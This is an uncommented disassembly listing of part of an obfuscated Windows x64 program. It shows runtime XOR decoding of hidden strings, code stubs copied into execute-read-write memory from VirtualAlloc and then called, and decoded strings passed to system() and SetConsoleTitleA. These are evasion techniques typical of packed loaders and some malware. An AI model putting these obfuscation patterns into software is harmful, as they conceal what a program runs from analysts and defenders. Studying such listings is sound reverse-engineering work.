cmp qword [rbp + 0x2178], 0xf
cmova rdx, qword [rbp + 0x2160]
mov r8, qword [rbp + 0x2170]
lea rcx, [rbp + 0xde0]
call fcn.1400015f0
lea rdx, [rbp + 0xde0]
lea rcx, [rbp + 0x2a30]
call fcn.1400f7e00
cmp byte [rbp + 0x2c40], r12b
je 0x1400e5eb5
cmp qword [rbp + 0x2170], 0x10
jne 0x1400e5eb5
lea rbx, [0x140004e84]
xorps xmm0, xmm0
movups xmmword [rsp + 0x38], xmm0
lea rax, [rbp + 0x2ce8]
movabs rcx, 0xff00ff00ff00ff00
mov qword [rsp + 0x40], rcx
mov qword [rsp + 0x48], rax
mov r14, qword [rax]
xor r14, rcx
mov qword [rsp + 0x38], r14
mov qword [rax], r12
mov ecx, r12d
lea rdx, [0x14000127c]
mov rax, qword [0x140172e30]
test rax, rax
je 0x1400d9aa8
mov r8, r12
lea r9, [0x140000000]
cmp rax, rdx
je 0x1400d9a97
inc ecx
mov r8d, ecx
mov rax, qword [r9 + rcx*8 + 0x172e30]
test rax, rax
jne 0x1400d9a7e
jmp 0x1400d9aa8
mov r8, qword [r9 + r8*8 + 0x173150]
test r8, r8
jne 0x1400d9b93
mov edx, 0x1f4
xor ecx, ecx
lea r9d, [rcx + 0x40]
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, rax
lea r9, [0x14000127c]
test rax, rax
jne 0x1400d9ad6
mov r8, r12
jmp 0x1400d9b6b
mov rax, r9
mov rcx, r8
mov rdx, r15
mov r10d, 0x80
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
add rcx, r10
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
add rax, r10
sub rdx, 1
jne 0x1400d9ae5
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x140172e20]
lea rcx, [0x140000000]
mov qword [rcx + rax*8 + 0x172e30], r9
mov qword [rcx + rax*8 + 0x173150], r8
inc rax
mov qword [0x140172e20], rax
lea rdx, [rbp + 0x2160]
mov rcx, rbx
call r8
nop
movabs rdx, 0xff00ff00ff00ff00
xor r14, rdx
lea rax, [rbp + 0x2ce8]
mov qword [rax], r14
mov r12, qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
xor r14d, r14d
lea rcx, [rbp + 0x2ce8]
xorps xmm0, xmm0
movups xmmword [rsp + 0x38], xmm0
mov qword [rsp + 0x40], rdx
mov qword [rsp + 0x48], rcx
mov rbx, qword [rcx]
xor rbx, rdx
mov qword [rsp + 0x38], rbx
mov qword [rcx], r14
mov ecx, r14d
mov rax, qword [0x140170ea0]
test rax, rax
je 0x1400d9c32
mov rdx, r14
lea r8, [0x140000000]
lea r9, [0x140001308]
cmp rax, r9
je 0x1400d9c21
inc ecx
mov edx, ecx
mov rax, qword [r8 + rcx*8 + 0x170ea0]
test rax, rax
jne 0x1400d9c09
jmp 0x1400d9c32
mov rdx, qword [r8 + rdx*8 + 0x1711c0]
test rdx, rdx
jne 0x1400d9d21
mov edx, 0x1f4
xor ecx, ecx
lea r9d, [rcx + 0x40]
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rdx, rax
test rax, rax
jne 0x1400d9c59
mov rdx, r14
jmp 0x1400d9cf2
lea rax, [0x140001308]
mov rcx, rdx
mov r8, r15
mov r9d, 0x80
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
add rcx, r9
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
add rax, r9
sub r8, 1
jne 0x1400d9c6c
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x140170e90]
lea rcx, [0x140000000]
lea r8, [0x140001308]
mov qword [rcx + rax*8 + 0x170ea0], r8
mov qword [rcx + rax*8 + 0x1711c0], rdx
inc rax
mov qword [0x140170e90], rax
lea rcx, [0x140003adc]
call rdx
nop
movabs rdx, 0xff00ff00ff00ff00
xor rbx, rdx
lea rcx, [rbp + 0x2ce8]
mov qword [rcx], rbx
mov byte [rsp + 0x30], r14b
xorps xmm0, xmm0
movups xmmword [rbp + 0x5d8], xmm0
mov qword [rbp + 0x5e0], rdx
mov qword [rbp + 0x5e8], rcx
mov rbx, qword [rcx]
xor rbx, rdx
mov qword [rbp + 0x5d8], rbx
mov qword [rcx], r14
mov ecx, r14d
mov rax, qword [0x1401714f0]
test rax, rax
je 0x1400d9db9
mov r8, r14
lea rdx, [0x140000000]
lea r9, [0x140001330]
cmp rax, r9
je 0x1400d9da8
inc ecx
mov r8d, ecx
mov rax, qword [rdx + rcx*8 + 0x1714f0]
test rax, rax
jne 0x1400d9d8f
jmp 0x1400d9db9
mov r8, qword [rdx + r8*8 + 0x171810]
test r8, r8
jne 0x1400d9ea8
mov edx, 0x1f4
xor ecx, ecx
lea r9d, [rcx + 0x40]
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, rax
test rax, rax
jne 0x1400d9de0
mov r8, r14
jmp 0x1400d9e79
lea rax, [0x140001330]
mov rcx, r8
mov rdx, r15
mov r9d, 0x80
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
add rcx, r9
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
add rax, r9
sub rdx, 1
jne 0x1400d9df3
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x1401714e0]
lea rcx, [0x140000000]
lea rdx, [0x140001330]
mov qword [rcx + rax*8 + 0x1714f0], rdx
mov qword [rcx + rax*8 + 0x171810], r8
inc rax
mov qword [0x1401714e0], rax
lea rdx, [rsp + 0x30]
mov rcx, rsi
call r8
nop
movabs r11, 0xff00ff00ff00ff00
xor rbx, r11
lea r10, [rbp + 0x2ce8]
mov qword [r10], rbx
movsd xmm0, qword [str.dWUOOURP_]
movsd qword [rbp + 8], xmm0
mov al, byte [0x140152468]
mov byte [rbp + 0x10], al
mov r8d, r14d
lea r9, [rbp + 8]
mov eax, 0x29e4129f
mul r8d
mov eax, r8d
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movsx eax, al
imul ecx, eax, 0x37
mov al, r8b
sub al, cl
add al, 0x37
xor byte [r9], al
inc r8d
inc r9
cmp r8d, 9
jl 0x1400d9ee8
lea rax, [rbp + 8]
mov qword [rbp + 0x308], rax
xorps xmm0, xmm0
movups xmmword [rbp + 0x5f0], xmm0
mov qword [rbp + 0x5f8], r11
mov qword [rbp + 0x600], r10
mov rbx, qword [r10]
xor rbx, r11
mov qword [rbp + 0x5f0], rbx
mov qword [r10], r14
mov ecx, r14d
mov rax, qword [0x140171b40]
test rax, rax
je 0x1400d9f95
mov r8, r14
lea rdx, [0x140000000]
lea r9, [0x140001250]
cmp rax, r9
je 0x1400d9f84
inc ecx
mov r8d, ecx
mov rax, qword [rdx + rcx*8 + 0x171b40]
test rax, rax
jne 0x1400d9f6b
jmp 0x1400d9f95
mov r8, qword [rdx + r8*8 + 0x171e60]
test r8, r8
jne 0x1400da084
mov edx, 0x1f4
xor ecx, ecx
lea r9d, [rcx + 0x40]
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, rax
test rax, rax
jne 0x1400d9fbc
mov r8, r14
jmp 0x1400da055
lea rax, [0x140001250]
mov rcx, r8
mov rdx, r15
mov r9d, 0x80
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
add rcx, r9
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
add rax, r9
sub rdx, 1
jne 0x1400d9fcf
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x140171b30]
lea rcx, [0x140000000]
lea rdx, [0x140001250]
mov qword [rcx + rax*8 + 0x171b40], rdx
mov qword [rcx + rax*8 + 0x171e60], r8
inc rax
mov qword [0x140171b30], rax
lea rdx, [rbp + 0x308]
mov rcx, qword [sym.imp.KERNEL32.dll_SetConsoleTitleA]
call r8
nop
movabs r11, 0xff00ff00ff00ff00
xor rbx, r11
lea r10, [rbp + 0x2ce8]
mov qword [r10], rbx
mov rax, qword [str.TWUUI]
mov qword [rbp + 0x30], rax
cmp byte [0x140152477], r14b
je 0x1400da0f8
mov r8d, r14d
lea r9, [rbp + 0x30]
mov eax, 0x29e4129f
mul r8d
mov eax, r8d
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movsx eax, al
imul ecx, eax, 0x37
mov al, r8b
sub al, cl
add al, 0x37
xor byte [r9], al
inc r8d
inc r9
cmp r8d, 8
jl 0x1400da0c8
lea rax, [rbp + 0x30]
mov qword [rbp + 0x310], rax
xorps xmm0, xmm0
movups xmmword [rbp + 0x608], xmm0
mov qword [rbp + 0x610], r11
mov qword [rbp + 0x618], r10
mov rbx, qword [r10]
xor rbx, r11
mov qword [rbp + 0x608], rbx
mov qword [r10], r14
mov ecx, r14d
mov rax, qword [0x140171b40]
test rax, rax
je 0x1400da175
mov r8, r14
lea rdx, [0x140000000]
lea r9, [0x140001250]
cmp rax, r9
je 0x1400da164
inc ecx
mov r8d, ecx
mov rax, qword [rdx + rcx*8 + 0x171b40]
test rax, rax
jne 0x1400da14b
jmp 0x1400da175
mov r8, qword [rdx + r8*8 + 0x171e60]
test r8, r8
jne 0x1400da264
mov edx, 0x1f4
xor ecx, ecx
lea r9d, [rcx + 0x40]
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, rax
test rax, rax
jne 0x1400da19c
mov r8, r14
jmp 0x1400da235
lea rax, [0x140001250]
mov rcx, r8
mov rdx, r15
mov r9d, 0x80
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
add rcx, r9
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
add rax, r9
sub rdx, 1
jne 0x1400da1af
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x140171b30]
lea rcx, [0x140000000]
lea rdx, [0x140001250]
mov qword [rcx + rax*8 + 0x171b40], rdx
mov qword [rcx + rax*8 + 0x171e60], r8
inc rax
mov qword [0x140171b30], rax
lea rdx, [rbp + 0x310]
mov rcx, r12
call r8
nop
movabs r11, 0xff00ff00ff00ff00
xor rbx, r11
lea r10, [rbp + 0x2ce8]
mov qword [r10], rbx
mov eax, dword [0x140152478]
mov dword [rbp - 0x58], eax
cmp byte [0x14015247b], r14b
je 0x1400da2d2
mov r8d, r14d
lea r9, [rbp - 0x58]
mov eax, 0x29e4129f
mul r8d
mov eax, r8d
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movsx eax, al
imul ecx, eax, 0x37
mov al, r8b
sub al, cl
add al, 0x37
xor byte [r9], al
inc r8d
inc r9
cmp r8d, 4
jl 0x1400da2a2
lea rax, [rbp - 0x58]
mov qword [rbp + 0x318], rax
xorps xmm0, xmm0
movups xmmword [rbp + 0x620], xmm0
mov qword [rbp + 0x628], r11
mov qword [rbp + 0x630], r10
mov rbx, qword [r10]
xor rbx, r11
mov qword [rbp + 0x620], rbx
mov qword [r10], r14
mov ecx, r14d
mov rax, qword [0x140171b40]
test rax, rax
je 0x1400da34f
mov r8, r14
lea rdx, [0x140000000]
lea r9, [0x140001250]
cmp rax, r9
je 0x1400da33e
inc ecx
mov r8d, ecx
mov rax, qword [rdx + rcx*8 + 0x171b40]
test rax, rax
jne 0x1400da325
jmp 0x1400da34f
mov r8, qword [rdx + r8*8 + 0x171e60]
test r8, r8
jne 0x1400da43e
mov edx, 0x1f4
xor ecx, ecx
lea r9d, [rcx + 0x40]
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, rax
test rax, rax
jne 0x1400da376
mov r8, r14
jmp 0x1400da40f
lea rax, [0x140001250]
mov rcx, r8
mov rdx, r15
mov r9d, 0x80
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
add rcx, r9
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
add rax, r9
sub rdx, 1
jne 0x1400da389
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x140171b30]
lea rcx, [0x140000000]
lea rdx, [0x140001250]
mov qword [rcx + rax*8 + 0x171b40], rdx
mov qword [rcx + rax*8 + 0x171e60], r8
inc rax
mov qword [0x140171b30], rax
lea rdx, [rbp + 0x318]
mov rcx, r12
call r8
nop
movabs r11, 0xff00ff00ff00ff00
xor rbx, r11
lea r10, [rbp + 0x2ce8]
mov qword [r10], rbx
movups xmm0, xmmword [0x140152480]
movups xmmword [rbp + 0x1580], xmm0
movups xmm1, xmmword [0x140152490]
movups xmmword [rbp + 0x1590], xmm1
movups xmm0, xmmword [0x1401524a0]
movups xmmword [rbp + 0x15a0], xmm0
movsd xmm0, qword [0x1401524b0]
movsd qword [rbp + 0x15b0], xmm0
mov eax, dword [0x1401524b8]
mov dword [rbp + 0x15b8], eax
mov al, byte [reloc.WLDAP32.dll_Ordinal_60]
mov byte [rbp + 0x15bc], al
mov r8d, r14d
lea r9, [rbp + 0x1580]
mov eax, 0x29e4129f
mul r8d
mov eax, r8d
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movsx eax, al
imul ecx, eax, 0x37
mov al, r8b
sub al, cl
add al, 0x37
xor byte [r9], al
inc r8d
inc r9
cmp r8d, 0x3d
jl 0x1400da4bf
lea rax, [rbp + 0x1580]
mov qword [rbp + 0x40], rax
xorps xmm0, xmm0
movups xmmword [rbp + 0x638], xmm0
mov qword [rbp + 0x640], r11
mov qword [rbp + 0x648], r10
mov rbx, qword [r10]
xor rbx, r11
mov qword [rbp + 0x638], rbx
mov qword [r10], r14
mov ecx, r14d
mov rax, qword [0x140172190]
test rax, rax
je 0x1400da56c
mov r8, r14
lea rdx, [0x140000000]
lea r9, [0x140001250]
cmp rax, r9
je 0x1400da55b
inc ecx
mov r8d, ecx
mov rax, qword [rdx + rcx*8 + 0x172190]
test rax, rax
jne 0x1400da542
jmp 0x1400da56c
mov r8, qword [rdx + r8*8 + 0x1724b0]
test r8, r8
jne 0x1400da65b
mov edx, 0x1f4
xor ecx, ecx
lea r9d, [rcx + 0x40]
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, rax
test rax, rax
jne 0x1400da593
mov r8, r14
jmp 0x1400da62c
lea rax, [0x140001250]
mov rcx, r8
mov rdx, r15
mov r9d, 0x80
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
add rcx, r9
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
add rax, r9
sub rdx, 1
jne 0x1400da5a6
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x140172180]
lea rcx, [0x140000000]
lea rdx, [0x140001250]
mov qword [rcx + rax*8 + 0x172190], rdx
mov qword [rcx + rax*8 + 0x1724b0], r8
inc rax
mov qword [0x140172180], rax
lea rdx, [rbp + 0x40]
mov rcx, rdi
call r8
nop
movabs r11, 0xff00ff00ff00ff00
xor rbx, r11
lea r10, [rbp + 0x2ce8]
mov qword [r10], rbx
movups xmm0, xmmword [0x1401524c0]
movups xmmword [rbp + 0x1500], xmm0
movups xmm1, xmmword [0x1401524d0]
movups xmmword [rbp + 0x1510], xmm1
movups xmm0, xmmword [0x1401524e0]
movups xmmword [rbp + 0x1520], xmm0
movsd xmm0, qword [0x1401524f0]
movsd qword [rbp + 0x1530], xmm0
movzx eax, word [0x1401524f8]
mov word [rbp + 0x1538], ax
mov al, byte [0x1401524fa]
mov byte [rbp + 0x153a], al
mov r8d, r14d
lea r9, [rbp + 0x1500]
mov eax, 0x29e4129f
mul r8d
mov eax, r8d
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movsx eax, al
imul ecx, eax, 0x37
mov al, r8b
sub al, cl
add al, 0x37
xor byte [r9], al
inc r8d
inc r9
cmp r8d, 0x3b
jl 0x1400da6db
lea rax, [rbp + 0x1500]
mov qword [rbp + 0x48], rax
xorps xmm0, xmm0
movups xmmword [rbp + 0x650], xmm0
mov qword [rbp + 0x658], r11
mov qword [rbp + 0x660], r10
mov rbx, qword [r10]
xor rbx, r11
mov qword [rbp + 0x650], rbx
mov qword [r10], r14
mov ecx, r14d
mov rax, qword [0x140172190]
test rax, rax
je 0x1400da788
mov r8, r14
lea rdx, [0x140000000]
lea r9, [0x140001250]
cmp rax, r9
je 0x1400da777
inc ecx
mov r8d, ecx
mov rax, qword [rdx + rcx*8 + 0x172190]
test rax, rax
jne 0x1400da75e
jmp 0x1400da788
mov r8, qword [rdx + r8*8 + 0x1724b0]
test r8, r8
jne 0x1400da877
mov edx, 0x1f4
xor ecx, ecx
lea r9d, [rcx + 0x40]
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, rax
test rax, rax
jne 0x1400da7af
mov r8, r14
jmp 0x1400da848
lea rax, [0x140001250]
mov rcx, r8
mov rdx, r15
mov r9d, 0x80
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
add rcx, r9
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
add rax, r9
sub rdx, 1
jne 0x1400da7c2
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x140172180]
lea rcx, [0x140000000]
lea rdx, [0x140001250]
mov qword [rcx + rax*8 + 0x172190], rdx
mov qword [rcx + rax*8 + 0x1724b0], r8
inc rax
mov qword [0x140172180], rax
lea rdx, [rbp + 0x48]
mov rcx, rdi
call r8
nop
movabs r11, 0xff00ff00ff00ff00
xor rbx, r11
lea r10, [rbp + 0x2ce8]
mov qword [r10], rbx
movups xmm0, xmmword [0x140152500]
movups xmmword [rbp + 0x350], xmm0
movsd xmm0, qword [0x140152510]
movsd qword [rbp + 0x360], xmm0
mov eax, dword [0x140152518]
mov dword [rbp + 0x368], eax
movzx eax, word [0x14015251c]
mov word [rbp + 0x36c], ax
mov al, byte [0x14015251e]
mov byte [rbp + 0x36e], al
mov r8d, r14d
lea r9, [rbp + 0x350]
mov eax, 0x29e4129f
mul r8d
mov eax, r8d
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movsx eax, al
imul ecx, eax, 0x37
mov al, r8b
sub al, cl
add al, 0x37
xor byte [r9], al
inc r8d
inc r9
cmp r8d, 0x1f
jl 0x1400da8e7
lea rax, [rbp + 0x350]
mov qword [rbp + 0x50], rax
xorps xmm0, xmm0
movups xmmword [rbp + 0x668], xmm0
mov qword [rbp + 0x670], r11
mov qword [rbp + 0x678], r10
mov rbx, qword [r10]
xor rbx, r11
mov qword [rbp + 0x668], rbx
mov qword [r10], r14
mov ecx, r14d
mov rax, qword [0x140172190]
test rax, rax
je 0x1400da994
mov r8, r14
lea rdx, [0x140000000]
lea r9, [0x140001250]
cmp rax, r9
je 0x1400da983
inc ecx
mov r8d, ecx
mov rax, qword [rdx + rcx*8 + 0x172190]
test rax, rax
jne 0x1400da96a
jmp 0x1400da994
mov r8, qword [rdx + r8*8 + 0x1724b0]
test r8, r8
jne 0x1400daa83
mov edx, 0x1f4
xor ecx, ecx
lea r9d, [rcx + 0x40]
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, rax
test rax, rax
jne 0x1400da9bb
mov r8, r14
jmp 0x1400daa54
lea rax, [0x140001250]
mov rcx, r8
mov rdx, r15
mov r9d, 0x80
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
add rcx, r9
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
add rax, r9
sub rdx, 1
jne 0x1400da9ce
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x140172180]
lea rcx, [0x140000000]
lea rdx, [0x140001250]
mov qword [rcx + rax*8 + 0x172190], rdx
mov qword [rcx + rax*8 + 0x1724b0], r8
inc rax
mov qword [0x140172180], rax
lea rdx, [rbp + 0x50]
mov rcx, rdi
call r8
nop
